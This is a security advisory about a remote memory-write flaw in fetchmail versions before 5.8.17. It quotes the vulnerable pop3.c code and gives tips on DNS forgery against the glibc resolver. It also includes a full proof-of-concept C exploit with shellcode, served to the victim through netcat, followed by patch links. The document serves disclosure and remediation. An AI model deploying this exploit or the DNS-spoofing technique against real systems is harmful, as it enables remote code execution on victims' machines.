COMMAND

    fetchmail

SYSTEMS AFFECTED

    Probably all the fetchmail versions prior (not including) 5.8.17

PROBLEM

    Following  is  based  on  a  Fetchmail  advisory.   In  a security
    auditing Salvatore Sanfilippo found two remotly explotiable memory
    corruption problems.  The bug, that is similar in the file  pop3.c
    and  imap.c,  allows  an  attacker  to  'poke'  arbitrary   memory
    addresses with  32 bit  data, so  you can  write what  you want in
    memory.

    Protections  like  stackguard  WITHOUT  the xor-canary active will
    not be  effective against  this problem.   To exploit  the problem
    you need  to impersonate  the server,  so the  attacker can be the
    server itself or,  faking the DNS  resolver, some other  attacker.
    See  the  last  section  of   this  document  about  DNS   forgery
    information.

    The attacker can  execute arbitrary code  in your system,  both if
    fetchmail is running as user or as root.  If the attacker is  able
    to fake your DNS resolver or  your DNS server it can take  control
    of  your  system  even  without  to  take  control  of one of your
    POP3/IMAP servers.

    This is the relevant portion of code affected (pop3.c):

        static int pop3_getsizes(int sock, int count, int *sizes)
        [snip]
                while ((ok = gen_recv(sock, buf, sizeof(buf))) == 0)
                {
                    int num, size;

                    if (DOTLINE(buf))
                        break;
                    else if (sscanf(buf, "%d %d", &num, &size) == 2)
                        sizes[num - 1] = size;
                }
        [snip]

    The problem is just the same in the file imap.c, see yourself.

    As you  can see  you can  pass two  integers, num  and size.   The
    first  is  your  offset,  the  second  the 32bit value you want to
    write in the memory location.

    You can  provide negative  and positive  offsets (num)  so you can
    write both before and after the address of the 'sizes' pointer.

    To write you  should simulate the  POP3 session, wainting  for the
    LIST command.  Than issue a fake LIST response.  The following  is
    part of the output of the exploit you can find attached:

        +OK			(banner)
        +OK			(user)
        +OK			(password)
        +OK 10 0		(stat)
        +OK 0			(last)
        +OK			(list)
        -30 -1431655766		(first line of the list output)
        -29 -1431655766		(second line ...)
        [snip]
        .

    The  'sizes'  buffer  is  stack  allocated  (with  alloca()),  and
    is the number  of messages in  the STAT response  * sizeof(int) so
    you can request a piece of  memory to put your shellcode, you  can
    also put it in some static buffer (try grep 'static char' *.c)  to
    exploit in a more portable way.

    Note that alloca()  used where you  can get a  big 'size' argument
    isn't a big idea.  You  can also crash fetchmail just providing  a
    very big response to STAT.

    The  exploit  may  be  used  without  to  take  the control of the
    POP/IMAP server if  you are able  to spoof a  DNS packet with  the
    right destination port and query ID.   This is quite hard but  not
    impossible, and  it is  strictly related  to the  resolver library
    the victim is using.

    DNS  forgery  against  software  like  fetchmail  will probably be
    simpler  than  against  other   software  since  in  daemon   mode
    fetchmail polls the mailbox with a fixed period, and resolves  the
    name every time it polls.  You have a lot of try.

    As stated,  this issue  is related  to the  libc, not to fetchmail
    itself,  but  a  weak  libc  resolving  rutine will help a lot the
    attacker.  In the case of glibc 2.x you should guess the following
    stuff:   pid,  seconds,  useconds,  source  port,  query time, DNS
    server  ip  address.   [with  glibc,  the  ID  is  computed  using
    something like (PID xor USEC xor SEC)]

    pid:  you  can  try  the  whole  pid  space,  or a subset assuming
    fetchmail in daemon mode running with a pid in the range 1-500  or
    so.

    seconds, useconds: you can use ICMP timestamp to syncronize,  this
    may reduce your 2^16 ID space a lot.

    source port: we  never tested this  but maybe sending  UDP packets
    to different ports you  may be able to  guess high ports that  are
    open by the  DNS resolver, to  do this you  need to send  this UDP
    packets spoofed from the victim DNS server than try to see the  IP
    ID sequence. It isn't trivial but  may work.  Someone on the  list
    known something of better?

    query time: With  fetchmail is quite  simple, you can  try to send
    your fake DNS  responses without to  stop, waiting (hoping)  for a
    natural syncronization with the query  time.  This will only  work
    with fetchmail in  daemon mode, and  will work better  if the poll
    time is short.   Of course the  IP ID will  help you a  lot of the
    host is in idle.

    As you can guess, if you can't fake the DNS you can anyway exploit
    fetchmail  if  you  are  on  the  server  side,  and your security
    is the minium of the security of all your POP/IMAP servers.

    An  example  exploit  is  attached  to  this  mail,  it  is poorly
    written but should be enough to prove the fetchmail vulnerability.
    You will  probably need  to joke  with offsets  to make it working
    on your system.

    /* fetchmail proof of concepts i386 exploit
     * Copyright (C) 2001 Salvatore Sanfilippo <antirez@invece.org>
     * Code under the GPL license.
     *
     * Usage: ./a.out | nc -l -p 3333
     * fetchmail localhost -P 3333 -p POP3
     *
     * This is a bad exploit with offset carefully selected
     * to work in my own system. It will probably not work in
     * your system if you don't modify RETR_OFFSET and SHELL_PTR,
     * but you may try to set the SHELL_PTR to 0xAAAAAAAA
     * and use gdb to obtain the proof that your fetchmail is vulnerable
     * without to exploit it.
     * Or just read the code in pop3.c.
     *
     * To improve the exploit portability you may put the shellcode inside
     * one of the static char buffers, grep 'static char' *.c.
     *
     * Tested on fetchmail 5.8.15 running on Linux 2.4.6
     *
     * On success you should see the ls output.
     */

    #include <stdio.h>

    #define MESSAGES 10
    #define RETR_OFFSET -20
    #define SHELL_PTR 0xbfffba94

    int main(void)
    {
	    int ish = SHELL_PTR;
	    int ret_offset = -10;
	    char shellcode[] = /* take the shellcode multiple of 4 in size */
	    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
	    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	    "\x80\xe8\xdc\xff\xff\xff/bin/ls\0\0";
	    int *sc = (int*) shellcode;
	    int noop = 0x90909090;
	    int i;

	    /* +OK for user and password, than report the number of messages */
	    printf("+OK\r\n+OK\r\n+OK\r\n+OK %d 0\r\n+OK 0\r\n+OK\r\n", MESSAGES);
	    /* Overwrite the RET pointer */
	    for (i = ret_offset-20; i < ret_offset+20; i++)
		    printf("%d %d\r\n", i, ish);
	    /* Put some NOP */
	    for (i = 1; i < 21; i++)
		    printf("%d %d\r\n", i, noop);
	    /* Put the shell code in the buffer */
	    for (i = 21; i < 21+(sizeof(shellcode)/4); i++)
		    printf("%d %d\r\n", i, *sc++);
	    printf(".\r\n"); /* POP data term */
	    return 0;
    }

SOLUTION

    Fetchmail  should  use  %u  %u  instead  of  %d %d as scanf format
    string,  than  do  a  sanity  check  about  the message number the
    server  provide  in  the  LIST  response  lines  and  in  the STAT
    response.

    Note  that   Debian  fetchmail   5.8.16-1  already   includes  the
    suggested fix.  Anyway:

        http://security.debian.org/dists/stable/updates/main/source/fetchmail_5.3.3-3.diff.gz
        http://security.debian.org/dists/stable/updates/main/source/fetchmail_5.3.3-3.dsc
        http://security.debian.org/dists/stable/updates/main/source/fetchmail_5.3.3.orig.tar.gz
        http://security.debian.org/dists/stable/updates/main/binary-all/fetchmailconf_5.3.3-3_all.deb
        http://security.debian.org/dists/stable/updates/main/binary-alpha/fetchmail_5.3.3-3_alpha.deb
        http://security.debian.org/dists/stable/updates/main/binary-arm/fetchmail_5.3.3-3_arm.deb
        http://security.debian.org/dists/stable/updates/main/binary-i386/fetchmail_5.3.3-3_i386.deb
        http://security.debian.org/dists/stable/updates/main/binary-m68k/fetchmail_5.3.3-3_m68k.deb
        http://security.debian.org/dists/stable/updates/main/binary-powerpc/fetchmail_5.3.3-3_powerpc.deb
        http://security.debian.org/dists/stable/updates/main/binary-sparc/fetchmail_5.3.3-3_sparc.deb

    For SuSE:

        ftp://ftp.suse.com/pub/suse/i386/update/7.2/n1/fetchmail-5.8.0-48.i386.rpm
        ftp://ftp.suse.com/pub/suse/i386/update/7.2/zq1/fetchmail-5.8.0-48.src.rpm
        ftp://ftp.suse.com/pub/suse/i386/update/7.1/n1/fetchmail-5.6.5-27.i386.rpm
        ftp://ftp.suse.com/pub/suse/i386/update/7.1/n2/fetchmailconf-5.6.5-0.i386.rpm
        ftp://ftp.suse.com/pub/suse/i386/update/7.1/zq1/fetchmail-5.6.5-27.src.rpm
        ftp://ftp.suse.com/pub/suse/i386/update/7.0/n1/fetchml-5.4.0-3.i386.rpm
        ftp://ftp.suse.com/pub/suse/i386/update/7.0/zq1/fetchml-5.4.0-3.src.rpm
        ftp://ftp.suse.com/pub/suse/i386/update/6.4/n1/fetchml-5.3.0-3.i386.rpm
        ftp://ftp.suse.com/pub/suse/i386/update/6.4/zq1/fetchml-5.3.0-3.src.rpm
        ftp://ftp.suse.com/pub/suse/i386/update/6.3/n1/fetchml-5.1.2-7.i386.rpm
        ftp://ftp.suse.com/pub/suse/i386/update/6.3/zq1/fetchml-5.1.2-7.src.rpm
        ftp://ftp.suse.com/pub/suse/sparc/update/7.1/n1/fetchmail-5.6.5-12.sparc.rpm
        ftp://ftp.suse.com/pub/suse/sparc/update/7.1/zq1/fetchmail-5.6.5-12.src.rpm
        ftp://ftp.suse.com/pub/suse/sparc/update/7.0/n1/fetchml-5.4.0-3.sparc.rpm
        ftp://ftp.suse.com/pub/suse/sparc/update/7.0/zq1/fetchml-5.4.0-3.src.rpm
        ftp://ftp.suse.com/pub/suse/axp/update/7.1/n1/fetchmail-5.6.5-16.alpha.rpm
        ftp://ftp.suse.com/pub/suse/axp/update/7.1/zq1/fetchmail-5.6.5-16.src.rpm
        ftp://ftp.suse.com/pub/suse/axp/update/7.0/n1/fetchml-5.4.0-3.alpha.rpm
        ftp://ftp.suse.com/pub/suse/axp/update/7.0/zq1/fetchml-5.4.0-3.src.rpm
        ftp://ftp.suse.com/pub/suse/axp/update/6.4/n1/fetchml-5.3.0-3.alpha.rpm
        ftp://ftp.suse.com/pub/suse/axp/update/6.4/zq1/fetchml-5.3.0-3.src.rpm
        ftp://ftp.suse.com/pub/suse/axp/update/6.3/n1/fetchml-5.1.2-4.alpha.rpm
        ftp://ftp.suse.com/pub/suse/axp/update/6.3/zq1/fetchml-5.1.2-4.src.rpm
        ftp://ftp.suse.com/pub/suse/ppc/update/7.1/n1/fetchmail-5.6.5-16.ppc.rpm
        ftp://ftp.suse.com/pub/suse/ppc/update/7.1/zq1/fetchmail-5.6.5-16.src.rpm
        ftp://ftp.suse.com/pub/suse/ppc/update/7.0/n1/fetchml-5.4.0-3.ppc.rpm
        ftp://ftp.suse.com/pub/suse/ppc/update/7.0/zq1/fetchml-5.4.0-3.src.rpm
        ftp://ftp.suse.com/pub/suse/ppc/update/6.4/n1/fetchml-5.3.0-3.ppc.rpm
        ftp://ftp.suse.com/pub/suse/ppc/update/6.4/zq1/fetchml-5.3.0-3.src.rpm

    For EnGarde Secure Linux:

        ftp://ftp.engardelinux.org/pub/engarde/stable/updates/
        http://ftp.engardelinux.org/pub/engarde/stable/updates/
           SRPMS/fetchmail-ssl-5.8.17-1.0.3.src.rpm
           i386/fetchmail-ssl-5.8.17-1.0.3.i386.rpm
           i686/fetchmail-ssl-5.8.17-1.0.3.i686.rpm

    The fetchmail  author helped  a lot  fixing the  issue ASAP.  This
    advisory  was  sent  to  bugtraq  only  after the fixed version of
    fetchmail (5.8.17) was available at

        http://www.tuxedo.org/~esr/fetchmail/